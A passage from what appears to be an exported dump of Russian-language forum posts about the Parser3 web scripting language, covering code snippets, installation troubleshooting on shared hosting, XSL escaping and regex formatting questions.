+ для увеличения производительности я разделяю авторизацию и продление сессии: при проверке всех данных (логин, пароль, ip-маска) пользователю в cookie сохраняется 32-битный random ключ.\
А при продлении сессии я проверяю только сооствествие этого ключа и IP адреса которому он был выдан.\
\
Насколько на ваш взгяд такой алгоритм оптимален?"
"14253","есть Microsoft Content Manager - серъезно, круто но дорого шибко\
есть различные поделки \"freeware\" на PHP -  тоже чё попало\
делал сам с использованием MS DHTML Edit Control - удобно, но работает только в IE и только под PC, маковый не умеет так\
сейчас делаю на парсере чтоб работало на любых платформах в любых браузерах, да хоть в том же Safari\
так вот, есть ли где посмотреть глазками как делают такие вещи умные люди, чтоб боевая система, проверенная?\
на тот же Имприматур в демо-режиме взглянуть\
писать всё-равно сам буду, мнеб только проанализировать что и как получается у других"
"14255","[quote]У меня алгоритм такой: при каждой _авторизации_ считаю размер таблицы (count(sid)), если он больше, чем кол-во пользователей в системе, то выполняется запрос по очитске.[/quote]\
\
хм. т.е. чтобы решить, нужна очистка или нет нужно сделать 2 дополнительных запроса (правда очень простых и быстрых). учитывая то, что сама очистка - это 1 запрос (тоже быстый, хоть и не такой простой) я не вижу особого смысла делать такие проверки...\
\
про авторизацию/поддержку сессии пользователя я делаю примерно так-же. насколько это эффективно я не могу судить ;)"
"14258","неконструктивности, некорректного отношения его автора к другим участникам форума и т.д.\
\
просьба к автору: держать эмоции при себе и не публиковать это повторно в данном форуме."
"14259","Потому что для генерации придется делать кучу вызовов DOM методов для каждого элемента дерева, что мягко говоря неоптимально. Гораздо проще и эффективнее руками написать метод создающий XML нужной структуры и сохранять на диск.\
\
На тему эффективности всем читать следующую статью: http://russian.joelonsoftware.com/Articles/BacktoBasics.html\
\
Самое интересное (сравнение БД и XML) в конце :)"
"14260","Несколько уточнений.\
1. У парсера нет встроенной СУБД, - это было бы слишком круто и не нужно. Не стоит каждый раз делать колесо.\
\
2. Юрий Матросович заходит сюда раз в год :), - Миша(Михаил Петрушин) чаще, так что лучше его упомянуть.\
\
3. Никакой язык сам по себе не поощряет правильный стиль программирования (взгляните на некоторые мои примеры, примеры агата, пример который приводил yes - там далеко до правильного стиля), но то что в языке еть все средства для этого, - это да.\
\
Всё остальное вроде так.\
\
PS: Миша злой :)"
"14261","у меня в класе object_uri есть еще один метод:\
[code]\
#######\
# форм. таблицы соответствий uri для всех разделов сайта\
@get_all_site_uri[][uri]\
$result[^table::create{uri	id	title}]\
$uri{^if(def $items_hash.[$items.id].url){/$items_hash.[$items.id].url}{^get_uri[$items.id]}}\
^items.menu{\
	^result.append{$uri	$items.id	$items.title}\
}\
#end @get_all_site_uri[]\
[/code]\
\
а затем:\
[code]\
@checkUri[]\
$all_uri[^get_all_site_uri[]]\
^all_uri.append{/	0	0	Начало}\
^if(^all_uri.locate[uri;${env:REQUEST_URI}]){\
	$result[1]\
}{\
	$result[0]\
}\
#end @checkUri[]\
[/code]\
\
это у меня так... может кто знает, как сделать побыстрее???"
"14262","Допустим, я хочу вставить в html текст из файла txt.\
Текст в виде абзацев но без тегов <p>\
\
Как сделать так, чтобыпри вставке txt-файла абзацы в тексте стали абзацами в html?\
\
Заранее спасибо"
"14263","Например, глобальной заменой:\
\
[code]$text_formatted[^text.match[(\\n)][g]{<p>}][/code]"
"14264","смотрел я там\
тот же MS DHTML Edit Control, т.е. PC IE only, причем для win98 не просто 5.0, но не меньше чем 5.5, сам с этим сталкивался\
под 5.0 в этом контроле вместо русских букв квадраты даже ариалом ;)"
"14265","... сколько система управления разнородными данными и сервисами. А эту систему по крайней мере \"пощупать\" можно."
"14266","там также используется DHTML редактор, но там намного интереснее и удобнее организована система создания шаблонов :)\
ищи на www.reksoft.ru - наши!"
"14267","в FAQ-е есть про то, как заменять символ \"перевод строки\"."
"14268","Что нет никакой возможности поставить его на Apache под Win???\
\
А если есть, то как это сделать?"
"14269","ведь не обязательно генерировать XML-дерево DOM-методами, можно сделать так как когда-то [url=\"http://www.parser.ru/forum/?id=7828\"]советовал PAF[/url]:\
[code]^xdoc::create{код на parser, создающий <document>…</document>}[/code]\
другое дело - зачем нам вообще создавать xdoc, если результирующее дерево не идет в трансформ?\
\
Насколько я понял из материала \"Работаем с RSS\", xdoc в некоторых случаях можно использовать для проверки правильности оформления (well-formed) XML. Или в данном случае эта фича с проверкой не прокатит?   "
"14270"," а может сделать вместо методов inc, dec  и т.п. как в ПХП операторы ++, --, *=  и прочие, как-то удобнее было..."
"14271","мне и не нужен редактор HTML\
но и системы управления работающие только на PC и только под IE меня мало интересуют. Для этого можно сделать систему управления сайтом на Access, как на сайте Путина, чё бы и нет?\
Но! кроме PC есть много других платформ, а кроме IE есть другие браузеры"
"14273","А если мне нужно первую строку выделить жирным\
Будет что-то вроде этого?\
\
[code]\
$text[^file::load[binary;/article.txt]]\
$text_formatted[^text.match[\\n][']]\
<p><b>$text_formatted.prematch</b></p>\
<p>^text_formatted.postmatch.match[\\n][g]{</p><p>}</p>\
[/code]\
\
Я правильно понял?\
или это можно сделать  легче?"
"14278","is дает булево значение. А я хочу просто вывести тип. Не писать же оператор, который будет перебирать все типы и проверять is'ом?\
А вдруг новые тИпы появятся..."
"14279","А почему? можно услышать аргументы? Я и сам толком не знаю, что лучше..."
"14280","...хостинг masterhost.ru; всё скопировано по местам в режиме binary; при обращении к сайту выдаётся 500я ошибка;\
errlog:\
Premature end of script headers: /home/user_xyz/xyz.ru/cgi-bin/parser3.cgi\
\
помогите преодолеть, пожалуйста."
"14282","мои аргументы против:\
у парсера код погружен в текст. соответственно при введении новых языковых конструкций придется придумывать механизмы, подчеркивающие, что это именно языковая сущность, а не кусок текста, который должен попасть в окончательный html/xml.\
\
конструкция ^a++ мне не кажется лучше конструкции ^a.inc(1), а если вспомнить, что втарая может использоваться не только для инкрементирования на единицу: ^a.inc($b), то мне совсем становится не понятна необходимость в инструкции, которая делает одн единственную операцию...\
\
исключительно внешний вид записи и его похожесть на другие языки программирования? по моему это не аргумент. к тому-же в данном языке ^a.inc(1) используется достаточно редко, чтобы стоило упрощать ее синтаксис."
"14283","берёш в своём операторе, делаешь хешь, если появиться новый тип, то добавишь в хешь ещё один элемент.\
^hash.foreach и всё...\
ну не знаю, проси PAF'a чтоб добавил...\
пока нет..."
"14286","прошу прощения за кривые руки - как проверить из шелла?.."
"14287","[code]cd где-там-у-вас-лежит-parser\
./parser3.cgi[/code]"
"14288","если набрать в ней: [url=\"http://www.google.com/search?hl=en&lr=&ie=UTF-8&oe=utf-8&q=mod_auth_mysql+windows&btnG=Google+Search\"]mod_auth_mysql windows[/url] то можно получить кучку страничек со ссылками, где есть уже скомпайленый под видну mod_auth_mysql.\
\
ссылки например эти:\
http://www.pcp-computer.de/gkn/apache/apache-1.3/win32/modules/\
http://www.pcp-computer.de/gkn/apache/httpd-2.0/win32/modules/ \
\
P.S. это если самому компайлить влом и соответственно брать последний mod_auth_mysql [url=\"http://sourceforge.net/projects/modauthmysql/\"]на страничке проекта[/url] лениво."
"14289","У меня никогда не было проблем с мастерхостом. Все ставилось с первого раза.\
Права нужны 755 на /cgi-bin/ (уже стоят, если специально никто не менял) и 755 на сам parser3.cgi (это надо сделать руками прямо из ftp-клиента)"
"14290","[code]\
@checkUri[]\
# эта фигня не должна вычисляться при каждом checkUri (если эта функция делает то\
# что она должна делать судя по названию\
# $all_uri[^get_all_site_uri[]]\
# ^all_uri.append{/	0	0	Начало}\
# если нету хеша для лукапов (первый вызов) - создаем его\
^if(!$all_uri_hash){$all_uri_hash[^all_uri.hash[uri;id]]}\
# использовать $env без необходимости я бы не стал... но по моему тут и \
# с идеологией есть проблемы... на IIS не все будет хорошо...\
$result(^if($all_uri_hash.[$request:uri]){1}{0})\
#end @checkUri[]\
[/code]"
"14291","права заданы именно так; всё равно получаем err500..."
"14292","...где это нужно набрать - в ftp-client-е?.."
"14293","..набрать в shell'e системы, где у вас сервер стоит. На вашем хостинге есть shell-доступ?..."
"14294","...shell - это SSH?.."
"14295","... что пока у Парсера более-менее очевидный синтаксис, а ввод всяких \"синтаксических извращений\" приведет к появлению трудноотлавливаемых ошибок."
"14296","читаем доку...\
[quote]\
Переменные могут хранить данные следующих типов: \
Ї строка (string);  \
 \
Ї число (int/double);  \
 \
Ї [b]истина/ложь; [/b]\
...\
[/quote]\
думаем - хорошо - булева - это хорошо.\
\
Пытаемся пробовать в жизни - хер. Думаем. Еще думаем. Пробуем - хер.\
\
Пишем а форум : \
как нам определить переменные, содержащие данные типа boolean? Чтоб их потом можно было [code]^if($var){true;false}[/code] условием проверить?\
\
P.S. Предложения типа [code]$var(1)^if($var){true;false}[/code] работают, но хотелось бы с true/false...\
\
P.P.S. Вопрос не принципиален, но все же. Раз написано в доке - должно работать, imho."
"14297","чем не понятно это?\
[code]\
$a(1>2)\
^if($a){да}{нет}\
[/code]\
\
"
"14298","Идея в том, что ядро CMS и интерфейс разделяются.\
Т.е. к ядру можно сделать несколько интерфейсов: IE5.5, html 3.2, WAP и т.д.\
\
Просто IE 5.5 дает в плане редактирования документов огромные приемущества.\
\
P.S. Привет томичам! (судя по мыл адресу ;-)"
"14299","...всё дело было в очень прямой заточке рук.. "
"14300","...вообще-то, нигде про это не сказано.\
\
By default истина/ложь - булевские значения (true/false in original) - я только поэтому так решил.\
\
Просто мне вот хочется передавать GET'ом флаг активации действия. К примеру : \
[code]\
?edit=true\
[/code]\
Композиция типа\
[code]\
^if(def $form:edit && $form:edit eq true){^edit[]}\
[/code]\
мне кажется громоздкой, а передавать ?edit=1 - не красиво.\
\
Куда красивше ?edit=true и ^if($form:edit){^edit[]}\
\
Не знаю, может это все бред, но так мне, как-то, ближе.\
\
Ладно, тема закрыта, спасибо за внимание."
"14301","Другое дело, что во многих языках вводят мнемонические соответствия для удобочитаемости. IMHO в Парсере вполне достаточно 0/1 ..."
"14302","1. ^file::load[binary;/article.txt] - совершенно непонятно, зачем грузить файл как binary, ^file::load[text;/article.txt] - логичнее.\
\
2. $text[^file::load[binary;/article.txt]] - в $text будет объякт типа file, соответственно ^text.match[...] даст ошибку. правильнее: \
[code]\
$f[^file::load[text;/article.txt]]\
^f.text.match[...]\
[/code]\
\
3. матч хуже, чем replace... тут можно обойтись одним реплейсом + одним матчем... если не связываться с replace то можно написать так:\
[code]\
$n(0)\
<p><b>^f.text.match[\\n][g]{^if(!$n){</b>$n(1)}</p>^#0A<p>}</p>\
[/code]"
"14303","  Дано: redhat 7.3, апач поставлен пакетом, пересобирать его не хочется. В комплекте еще есть пакет apache-devel, в котором в директории /usr/include/apache лежат все основные h-файлы апача (httpd.h там тоже есть) плюс утилитка apxs. Можно ли со всей этой прелестью собрать парсер как апачевский модуль? Ну не лежит что-то у меня душа к CGI... ;)\
   Посмотрел внутрь configure  -- он ищет жестко фиксированное дерево сорцов (требует, чтобы обязательна была структура вида $D/src/include/httpd.h), а можно ли это его поведение обломить? И, собственно, что вообще нужно для сборки модуля?"
"14304","[code]\
^menu.menu{\
	^if($menu.id eq $currentmenu){\
		$file[${menu.id}_s.png]\
	}{\
		$file[${menu.id}.png]\
	}\
	$file[^image::measure[/i/$file]]\
	<a href=\"$menu.link\">^file.html[\
		$.border[0]\
		$.alt[$menu.alt]\
	]</a>\
}\
[/code]\
получаем набор строк:\
<a href бла-бла-бла></a>\
<a href бла-бла-бла></a>\
и т.д., т.е. кажная <a> с новой строки\
путём манипуляций с кодом добился чтоб всё в одну строку, но всё-равно появляются пробелы между </a> и следующим <a>\
как сделать без пробелов вообще, дабы не пихать в табличку отдельную?\
с пробелами (как и пререводами строк) всё расползается когда подряд штук 7-мь картинок, и что надо делать сплошняком с самого начала известно. непойму откуда они берутся\
где протупил?"
"14306","...что все дело в рисунках - это они распирают на пробелы.\
Ты точно уверен, что пробелы между </a> и <a..? Проверь, у меня такое подозрение, что пробелы скачут за <img.../>.\
Попробуй не оставлять пробелов после тэга <img.. />, что-то типа этого : \
[code]\
^menu.menu{^if($menu.id eq $currentmenu){\
        $file[${menu.id}_s.png]\
   }{\
        $file[${menu.id}.png]\
   }$file[^image::measure[/i/$file]]<a href=\"$menu.link\">^file.html[$.border[0]$.alt[$menu.alt]]</a>}\
[/code]\
\
конечно, получится не очень читабельный код, но все же...\
\
P.S. Сам не пробовал, могу ошибаться."
"14308","да между </a> и новым <a>\
я даже слеплял всё в одну строку и делал потом по ней ^res.match убирая пробелы между </a> и <a - пробельчики убирались\
но это же извращение ("
"14309","Да, это так, и дело тут не только в парсере.\
\
Если ты сделаешь html в котором будут пробелы как в результирующем html - то тоже будет расползаться изображение.\
\
парсерная оптимизация не спасает, т.к. она оставляет один пробельный символ.\
\
выход в подобных местах жертвовать красотой кода.\
\
варианты:\
1. [code]^menu.menu{^if($menu.id eq $currentmenu){\
	$file[${menu.id}_s.png]\
}{\
	$file[${menu.id}.png]\
}\
$file[^image::measure[/i/$file]]\
<a href=\"$menu.link\">^file.html[\
	$.border[0]\
	$.alt[$menu.alt]\
]</a>}[/code]\
совсем ужасно\
\
2. делаем так, чтобы переносы попали в атрибуты:\
[code]^menu.menu{<a\
	href=\"$menu.link\"\
	^if($menu.id eq $currentmenu){\
		$file[${menu.id}_s.png]\
	}{\
		$file[${menu.id}.png]\
	}\
	$file[^image::measure[/i/$file]]\
	>^file.html[\
		$.border[0]\
		$.alt[$menu.alt]\
]</a>}\
[/code]\
в данном случае легче не становится.\
\
2. разбиваем код на более мелкие методы:\
[code]\
@imageHref[element;file;current][file]\
^if($element.id eq $current){\
	$file[${element.id}_s.png]\
}{\
	$file[${element.id}.png]\
}\
$f[^image::measure[/i/$file]]\
$result[<a href=\"$element.link\">^f.html[\
	$.border[0]\
	$.alt[$element.alt]\
]</a>]\
#end @imageHref[]\
\
\
@main[]\
...\
^menu.menu{^imageHref[$menu.fields;$file;$currentmenu]}\
...\
[/code]\
я обычно хожу этой тропой.\
"
"14310","ок спасибо\
про пробелы я знаю, ручками то их нет, а тут вылезли и все поехало, думал глюк в голове у меня\
про красоту забыли, понял ;)"
"14311","Я только учусь. Не судите строго...\
Что значит лукап hash???\
[quote]\
@checkUri[]\
# эта фигня не должна вычисляться при каждом checkUri (если эта функция делает то\
# что она должна делать судя по названию\
# $all_uri[^get_all_site_uri[]]\
# ^all_uri.append{/	0	0	Начало}\
[/quote]\
Всмысле не должно вызываться каждый раз? Вы предлагаете чтобы выполнялся один раз, а потом кешировался на определенное время или как?\
[quote]\
# если нету хеша для лукапов (первый вызов) - создаем его\
^if(!$all_uri_hash){$all_uri_hash[^all_uri.hash[uri;id]]}\
# использовать $env без необходимости я бы не стал... но по моему тут и \
# с идеологией есть проблемы... на IIS не все будет хорошо...\
$result(^if($all_uri_hash.[$request:uri]){1}{0})\
#end @checkUri[]\
[/quote]\
И последнее, почему лучше обходить стороной $env и какие здесь проблемы с идеологией :("
"14312","[quot]\
Я только учусь. Не судите строго...\
Что значит лукап hash???\
[/quot]\
\
эти механизмы всплывали (и не раз), и объяснялись. более того, ты пользуешься кодом, в котором данные механизмы используются, можно было разобраться зачем они нужны.\
\
это: $all_uri_hash.[$request:uri] и есть hash-лукап. быстрый доступ к элементу хеша с заданым ключем. работает очень быстро. для этого должен быть хеш соответствующей структуры.\
\
[quot]\
Всмысле не должно вызываться каждый раз? Вы предлагаете чтобы выполнялся один раз, а потом кешировался на определенное время или как?[/quot]\
\
а вот так. \
хэш != кеш\
метод, строящий стркуктуру сайта медленный (выполняет много операций). он должен быть выполнен один раз (при генерации странички). вызовов checkUri может быть несколько (сужу по названию метода), соответственно при каждом его вызове нефиг строить дерево сайта заново.\
\
[quot]И последнее, почему лучше обходить стороной $env и какие здесь проблемы с идеологией :([/quot]\
\
разные сервера имеют разные переменные окружения. некоторых переменных окружения ты можешь не найти у IIS. в данном случае работать с тем, что тебе дает парсер: $request, если пишется код и закладываются на $env то мне кажется, вышенаписаное понятно и делают это с пониманием.\
"
"14313","дык драйверок для informix'a люди(пишущие на с++) согласились поковырять"
"14314","пусть начинают, когда заработает, и им не будет жалко, пусть пришлют исходнике мне, их положу в репозитарий.\
\
пока изменения намечаются косметические, и поправить будет: две строчки.\
\
диагноз: можно начинать писать."
"14315","обычно имя типа узнавать не нужно.\
\
1.\
если для отладки, всегда можно так: ^name[], и в сообщении об ошибке вы увидите, что это такое [warning: на первой итерации цикла/рекурсии].\
\
2.\
есть возможность узнать класс объекта:\
[code]\
$name:CLASS\
[/code]\
\
если вам очень нужно: в ваши классы вы можете добавить себе необходимые поля/методы.\
\
3.\
если нужно за чем-то полезным, приведите пример, подумаем вместе.\
только если вы сейчас же там начнёте switch писать, сразу спрашиваю: припишите снизу почему не используются виртуальные функции."
"14316","чтобы другие могли найти ваше сообщение и избежать их."
"14317","варианты к рассмотрению:\
[code]\
#1\
^if(def $form:edit)…\
#2\
^if($form:edit eq true)…\
[/code]\
на закуску #3:\
[code]\
@auto[]\
$handlers[\
    $.edit[$edit]\
    $.new[$new]\
    $._default[$bad]\
]\
@main[]\
^handlers.$form:action[]\
@edit[]\
…\
@new[]\
…\
@bad[]\
…\
[/code]"
"14318","как я понял(не пишете), хотите собрать динамически подключаемый mod_parser3.\
\
это возможно, и под windows так и собирается.\
под unix я такой configure не делал, поскольку мне было не нужно, а досуга нет.\
\
если сделаете, пожалуйста, пришлите результат, положу в репозитарий.\
\
\
диагноз: \
1. если знаете, как пользоваться apxs: пользуйтесь, и не задавайте вопросов из его FAQ. список библиотек вы прочтёте в src/targets/apache13/p3runConfigure\
2. если не знаете, ставьте в статике."
"14319","Товарищи. Я не хочу но не могу отредактировать свое сообщение. Вот это http://parser.ru/forum/?id=14210 но я бы хотел его дополнить"
"14320","Нужно отыскать в тексте str1 фрагмент текста не меннее 3 букв который может содержащийся в переменной str2\
Пример:\
\
$str1[Барабан]\
$str2[Ты Баран]\
\
должен вывести [b]Бара[/b]"
"14322","...т.к. редактировать можно только не обсужденные посты, т.е. те, на которые еще никто не ответил.\
\
Логику сечете?..."
"14324","я бы собрал, да вот все сорцы какие-то несобираемые попадаются. :(\
\
В http://www.parser.ru/f/1/download/src/parser-3.0.0007.tar.gz вылезает куча незамененных @OBJEXT@, @EXEEXT@, @LIBTOOL@ и т.д. \
В текущей ветке с cvs на меня ругаются, что якобы autoconf древний и automake тоже.. у меня rh 7.3, ему еще и года не исполнилось, когда же он смог так быстро устареть? :(\
\
О где же вы, нормальные сорцы? :)"
"14326","Этож какая затрата ресурсов! Этож full-text search!\
\
Не знаю на счет regexp, мне кажется одними ими этого не сделать. Тут надо поисковой механизм собрать.\
Что-то вроде этого :\
$pst(0)\
$cnt(3)\
Берем ^str2.mid($pst;$cnt), ищем это в $str1. Если находим, берем ^str2.mid($pst;^cnt.inc[]).\
Если не находим, ^pst.inc[] и так далее.\
\
Может быть неверно, но это первое, что пришло на ум."
"14327","да, вы правы! Я тоже обстоятельно подумал, и пришел примерно к тому же. Наверное, просто, сознание сопротивляется \"новому\" синтаксису. Дискуссию можно закрывать! (Нужно :))"
"14328","да, действительно, это нужно было для отладки. И все-таки странно: ведь есть же оператор is, мне кажется нужно продолжить эту линию, и тогда сравнения будут чуть длиннее,\
\
что-то типа ^status.type[$my_var] == table\
\
но будет логичнее. Или нет?\
"
"14329","А что такое виртуальные функции???"
"14330","это функция которая может быть переопределена в потомке класса. В родителе она может быть только объявлена, а определена позднее.\
\
Вообще говоря, сам термин виртуальная функция используется только в C++ насколько я знаю."
"14331","вряд-ли существующий механизм регэкспов нормально решит эту задачу. Можно полюбопытствовать, - зачем это нужно?"
"14332","Я делаю возможность сравнивать данные (документы, файлы). Для больших архивов это полезно, не держать однообразную информацию. С помощью этого можно оптимизировать SQL запросы поиска, но это уже я в дебри полез. СТОЯТЬ.... ! Остановился\
\
ЗЫ: Не для массового поиска, а для администрирования (также для идентификации похожести документов)."
"14333","есть текст(пришел из формы в базу)\
разбит энтерами на абзацы, но ... там есть еще(где, я заранее не знаю) список(списки):\
<ul>\
<li>some text<li>\
<li>some text<li>\
<li>some text<li>\
</ul>\
\
вот тут траблы:\
[code]$2buffer[^buffer.match[\\n\\n][g]{<p />}]\
$3buffer[^2buffer.match[\\n][g]{<br />}]\
$3buffer\
[/code]\
ставит лишние <br /> внутри списка - [color=\"red\"]</li><br /><li>[/color]\
а мне надо там оставить просто: [b]<li/><li>[/b]"
"14334","^8aintxt.match[([0-9]+)\\s+([a-zа-я]+)][gi]{${match.1}&nbsp^;${match.3}}"
"14337","Что приходит из формы.\
Чем обрабатываете.\
Что получается.\
В чем проблема."
"14338","Что не очень понимаю\
Допустим, мы задаём структуру страницы \
[code]\
@main[]\
^header[] \
^navigation[]\
^left_body]\
^right_body[]\
[/code]\
\
Если у нас на странице не будет указан метод @right_body[], то выведется ошибка\
А как сделать так,чтобы проверялось, есть ли этот метод на странице и вставлять его, если есть (а если нет - то не вставлять)\
\
"
"14339","[quote]\
Проверка наличия в переменной кода \
\
Т.к. оператор def не считает переменные, содержащие код, определенными, для проверки наличия в переменной кода необходимо использовать is: \
$something{^do[]} \
^if($something is junction){ \
#   выполнение кода \
    $something \
} \
\
Проверка определенности метода \
\
Значение $имя_метода, это тоже junction, поэтому проверять существование метода необходимо также оператором is, а не def: \
@body[] \
тело \
\
@main[] \
Старт \
^if($body is junction){ \
   ^body[] \
}{ \
   Метод «body» не определен! \
} \
Финиш \
[/quote]"
"14340","^text.match[(</li>)\\s+(<li>)][g]{${match.1}$match.2}\
\
блин... неужели это сложно?"
"14341","Поиск по форуму:\
[quote]\
имейте в виду, что здесь использованы последние версии xml библиотек, если кто использует блоки CDATA с буквами < > & внутри, перечитайте стандарт в части <xsl:text disable-output-escaping=\"yes\">\
[/quote]\
\
Видимо я столкнулся с этой проблемой.\
Перечитав <xsl:text> понял, что у ребят были идеологические промахи в этом направлении. Ранее использовал вышеописанную конструкцию \
[code]\
<content>\
<![CDATA[\
not valid, even not well-formed html\
needed for output\
]]>\
</content>\
[/code]\
и \
xsl:\
[code]\
<xsl:template match=\"content\">\
 <xsl:copy-of select=\"*|text()\"/>\
</xsl:template>\
[/code]\
да, действительно, теперь происходит екранирование & < и >.\
в старых (0006) версиях этого не было.\
\
Какие варианты могут быть ?\
Очень надо побороть проблему."
"14342","Ага. Точно\
спасибо"
"14344","[code]\
<content>\
<![CDATA[\
& < >\
]]>\
</content>\
[/code]\
xsl:\
[code]\
<xsl:template match=\"content\">\
<xsl:text disable-output-escaping=\"yes\">\
		<xsl:copy-of select=\"*|text()\"/>\
</xsl:text>\
</xsl:template>\
[/code]\
\
дает\
\
compilation error: file /home/www/bla-bla/htdocs/xsl/core/content.xsl element text\
xsltParseTemplateContent: xslt:text content problem\
\
читал w3c, пробовал xsl:value-of, тот же результат.\
\
или я чего-то не понял,\
нельзя ли на примере моего кода описать применение поподробнее ?\
Заранее спасибо."
"14345","Теперь:\
[code]\
<xsl:value-of select=\".\" disable-output-escaping=\"yes\" />\
[/code]\
и работает."
"14347","в MySQL используй FULLTEXT Search\
либо поставь MnogoSearch, он за тебя искать будет"
"14348","[code]\
$rep[^table::create{from	to\
<	&lt^;\
>	&gt^;\
&	&amp^;\
[b]	<strong>\
[/b]	</strong>\
[i]	<em>\
[/i]	</em>\
[u]	<u>\
[/u]	</u>}]\
$step1[^text.replace[$rep]]\
$step2[^step1.match[\\^[link(\\s+)^\"([^^\"]+)^\"\\^]([^^\\^[]+)\\^[/link\\^]][gm]{<a href=^\"$match.2\">$match.3</a>}]\
<p align=\"$param\">^nl2br[^untaint[as-is]{$step2}]</p>\
[/code]\
нормально в плане оптимизации?\
конечно понимаю что нет предела совершенству %) но все же?"
"14349","внутри \"code\" оп применил таки форматирование \"b\" и \"i\""
"14350","А если сделать в классе status метод debug, который будет возвращать табличку с существующими переменными, их типами и значениями (ну, может, сделать исключение для хешей, таблиц и объектов), может быть еще размер. PAF, как вам идея?"
"14351","точно так же"
"14352","А какие могут быть интонационные выражения в программе? :)"
"14353","...основная трудность была в том, что инструкции по установке расчитаны на пользователей с определённым уровнем подготовки, которые смогут в случае возникновения проблем провести проверку компонентов, если же пользователь не имеет опыта инсталляции ПО на удалённых машинах и такие слова как \"shell\" приводят его в лёгкое замешательство - \"это что-то про юникс, да?..\" - ну и так далее...\
...в расчёте на таких неофитов очень полезно было бы добавить инструкциям чёткости:\
Для начала надо определить, какая ОС установлена у хостера (в случае с \"мастерхостом\" (http://www.masterhost.ru) получилось так, что на их сайте ничего об этом сказано не было - пришлось звонить в службу техподдержки), выяснилось, что имеем дело с freeBSD, в этом случае делать надо СТРОГО следующее:\
\
1. файлы parser3.cgi и auto.p из инсталляционного комплекта парсера для freeBSD должны быть перенесены (обязательно в режиме binary) в каталог для скриптов (например - /cgi-bin), после чего для этого каталога и для parser3.cgi должны быть заданы права 755. Файлы поддержки кодировок должны быть помещены в каталог /charsets в каталоге для скриптов (например - /cgi-bin/charsets).\
2. файл .htaccess создаётся вручную и помещается в каталог, где находятся html-страницы, которые должны обрабатываться парсером (например - /www).\
3. файл _test.html должен запускаться из того же каталога, где находится .htaccess или уровнем (или несколькими уровнями) ниже.\
\
...установка поддержки SQL:\
1. библиотечные драйверы SQL должны быть помещены в каталог /lib в каталоге для скриптов.\
2. для подключения драйверов mySQL в конфигурационном файле парсера auto.p необходимо РАСКОММЕНТАРИТЬ строчку SQL.connect-string (в конце файла) и прописать в ней коды доступа  к серверу mySQL (узнать у хостера); например, если\
server mySQL: mysql.int,\
user: user123,\
password: abc123,\
port: user123,\
тогда это строка примет вид:\
$SQL.connect-string[mysql://user123:abc123@mysql.int/user123?charset=cp1251_koi8]\
\
...для начала удобно поставить парсер без подключения mySQL и заставить _test.html выдавать нечто осмысленное - а затем двигаться дальше,- _test.html подскажет...\
...если получаем ошибку 500 (или иную) - значит, что-то установлено не так, ВНИМАТЕЛЬНО смотрим выше, а также мануал по парсеру, сносим всё наглухо и переустанавливаем \"с нуля\" - лично я так делал - теперь всё работает...\
...если же всё сделано в точности так и отказывается работать - вот тогда уже можно потревожить Великих Чуу Чхе... ;-)\
\
вот...\
"
"14354","0. мешать метатеги [что-то] и <еще-что-то> по моему не есть хорошо\
1. зачем первая (\\s+) в скобках? скобки без надобности - сакс.\
2. [/link] тоже не супер. лучше вначале написать [(link)] и потом [/\\1], в случае изменения тебе придется писать один раз\
3. ([^^\\^[]+) лекго меняется на (.+?)\
4. зачем ставить ^ при каждом чихе? ;) параноя уже ;) если убрать их (кстати, почти все), то читаться выражение будет проще...\
\
по поводу [b] и [i] внутри [code]... блин, просили, я и сделал, причем давно уже... ;)"
"14355","Здравствуйте.\
Вот тут я подумал, а как в существующую таблицы вставить строчку, эдак в середину?"
"14356","Создать таблицу на основе имеющейся и добавить.......\
вот токмо зачем?"
"14357","Прошу вашей помощи.\
Есть таблица в txt файле по различным товарам, абсолютно не сортированная. Товары делятся по размерам: большой, средний, маленький (в табличке поле РАЗМЕР есть). Как можно вывести эту табличку на страницу так, чтобы товар был разбит по этим раделам примерно в таком виде:\
[code]\
МАЛЕНЬКИЙ\
	гвозди	15 руб\
	шурупы	17 руб\
СРЕДНИЙ\
	молоток 35 руб.\
	стамеска 18 руб.\
БОЛЬШОЙ\
	тиски	150 руб.\
	станок шлифовальный	1500 руб.\
[/code]\
Естественно названия разделов нужно брать из таблички, а не записывать вручную.\
Причем, нужно еще сортировать товары по цене отдельно в каждой категории. Фильтровать таблицу в лоб, т.е. сравнивая с конкретным текстовым значением не подходит, поскольку в таблицу будут добавляться новые категории или удаляться имеющиеся.\
\
Заранее благодарен."
"14358","в файле p3runConfigure в числе прочих указывается каталог /lib/libltdl , в то время как в дереве вместо него каталог /lib/ltdl...\
Для успешной компиляции пришлось поправить чуть чуть..."
"14359","К примеру:\
\
В auto.p\
[code]\
@head[title;keywords]\
<html><head><title>$title</title>\
<META name=\"keywords\" content=\"$keywords\">\
</head>\
[/code]\
\
На странице:\
\
[code]^head[Новости сайта;сайт, новости, парсер, здорово][/code]\
\
Или я неправильно понял вопрос?"
"14360","Закачиваю на сайт кучу картинок с помощью ^file.save . Потом при попытке их померить через ^image::measure получаю сабжевую ошибку... Причем не на всех картинках, а где-то на одной из пяти-шести. При этом картинка в ACDSee отображается нормально (ЭТА САМАЯ картинка - смотрю ее прямо из папки-вебспейса)...\
\
Никто не сталкивался? Не пойму, кто глючит и что делать...\
\
Заранее спасибо."
"14361","fanx %))))\
буду работать над собой.\
"
"14362","Пожалуйста покажите реальный код использивания хлебных крошик на парсер3. Уже сижу целый месяц и все никак не сделать :-(("
"14363","Глубоко извиняюсь что не по теме... но надеяться больше не на кого\
\
Такая ситуация: postgres 7.2 после выхода из винды накрылись файлы \
с WAL  /data/pg_xlog/0000000000000\
postgres говорит, что не могу найти точку входа или что то в этом роде. и выгружается. Остальные файлы. ЧТО? ДЕЛАТЬ.\
\
Если нет возможности восстановить работоспособность с текущими базами, подскажите как хотя бы как postgres стартонуть. :[  *]\
"
"14364","На парсере пока не писал, но на перле был не большой опыт...\
У тебя в браузере случаем печеники не отключены?"
"14365","При пересылке файлов почтой, и чем-то в этом же роде.\
Ломается структура jpg файла, хотя реально это глазом не видно.\
Выход из этой беды один. Пересохранить файл сначала к примеру в tif формат, а потом обратно в jpg.\
Если такое непреемлемо. То нужно использовать imagemagick он умеет проверять битые jpg файлы, и в случае получения баги, просто удалять его с сервера."
"14366","Самое просто решение:\
Заменить Большой, Средний, Маленький цифрами 1,2,3 соответственно\
По ним и сортировать, а при выводе подставлять соответствующие значения.\
Если нужна двойная сортировка, то тут без select и join не обойтись."
"14367","они совсем не нужны для хлебных крошек. Пишется такой код за день, два не более."
"14368","[quot]Если нужна двойная сортировка, то тут без select и join не обойтись[/quot]\
\
Я тоже так думал, пока не прочел в мануале, что там может быть ^tbl.sort{функция}:\
\
